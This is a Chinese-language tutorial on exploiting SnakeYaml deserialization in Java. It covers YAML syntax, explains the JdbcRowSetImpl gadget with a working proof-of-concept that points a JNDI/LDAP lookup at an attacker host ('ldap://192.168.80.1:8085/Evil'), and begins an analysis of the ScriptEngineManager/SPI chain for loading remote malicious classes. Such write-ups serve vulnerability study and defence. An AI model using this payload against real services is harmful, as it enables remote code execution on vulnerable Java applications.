SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化。
类似python,SnakeYaml使用缩进代表层级关系,缩进只能用空格,不能用TAB。
Copy一手Yaml语法:
1、对象
使用冒号代表,格式为key: value。冒号后面要加一个空格:
key: value
可以使用缩进表示层级关系:
key:
child-key: value
child-key2: value2
2、数组
使用一个短横线加一个空格代表一个数组项:
hobby:
- Java
- LOL
3、常量
YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:
boolean:
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2022-07-28 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2022-07-28T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
SnakeYaml反序列化
全版本可利用
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;
Yaml.dump():将一个对象转化为yaml文件形式;
其中序列化出来的对象格式为!!Snake.类名
在反序列化时可以用!!
指定反序列化的类名,跟fastjson一样
且是调用setter赋值,fastjson能用的JdbcRowSetImpl肯定能用
JdbcRowSetImpl
注意SnakeYaml不能互转false和0,所以payload填false bool
POC:
public static void main(String[] args) throws Exception {
String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"{\n"+
"dataSourceName: ldap://192.168.80.1:8085/Evil,\n" +
"autoCommit: false\n"+
"}";
Yaml yaml = new Yaml();
yaml.load(str);
}
ScriptEngineManager
这个链利用了SPI机制
SPI 机制
Java SPI
(Service Provider Interface)是Java官方提供的一种服务发现机制
,它允许在运行时动态地加载实现
特定接口的类,而不需要在代码中显式地指定该类
当使用ServiceLoader.load(Class<T> service)
方法加载服务时,会检查META-INF/services
目录下是否存在以接口全限定名命名的文件。如果存在,则读取文件内容,获取实现该接口的类的全限定名,并通过Class.forName()
方法加载对应的类。
而且当我们调用ServiceLoader.load(Class<T> service)
方法时,并不会立即将所有实现了该接口的类都加载进来,而是返回一个懒加载迭代器
。
只有在使用迭代器遍历时,才会按需加载对应的类并创建其实例。
我们从源码分析下
SPI源码分析
锁定到ServiceLoader.load(Class<T> service)
,调用了另一个参数的load
然后调用ServiceLoader构造函数
构造函数调用reload
reload生成了一个LazyIterator
跟进到这个LazyIterator内部类,很明显我们在使用这个迭代器的时候,会先调用hashNext->hasNextService;再调用next,进而调用到nextService
在它的hasNextService获取了类路径为"META-IN/services/"+类名,并getResource,注意这里获取到的是configs的路径。后面的parse是解析这个configs
parse按行解析configs文件
在ServiceLoader.LazyInterator的nextService内完成了Class.forName初始化和newInstance实例化
如果load的参数可以是http URL,是不是意味着ServiceLoader.load能加载远程META-INF/services下的恶意类?
SPI使用
先看看SPI怎么用的:
定义接口:首先需要定义一个接口,所有实现该接口的类都将被注册为服务提供者。
创建实现类:创建一个或多个实现接口的类,这些类将作为服务提供者。
配置文件:在 META-INF/services 目录下创建一个以接口全限定名命名的文件(也就是我们前面分析的configs),文件内容为实现该接口的类的全限定名,每个类名占一行。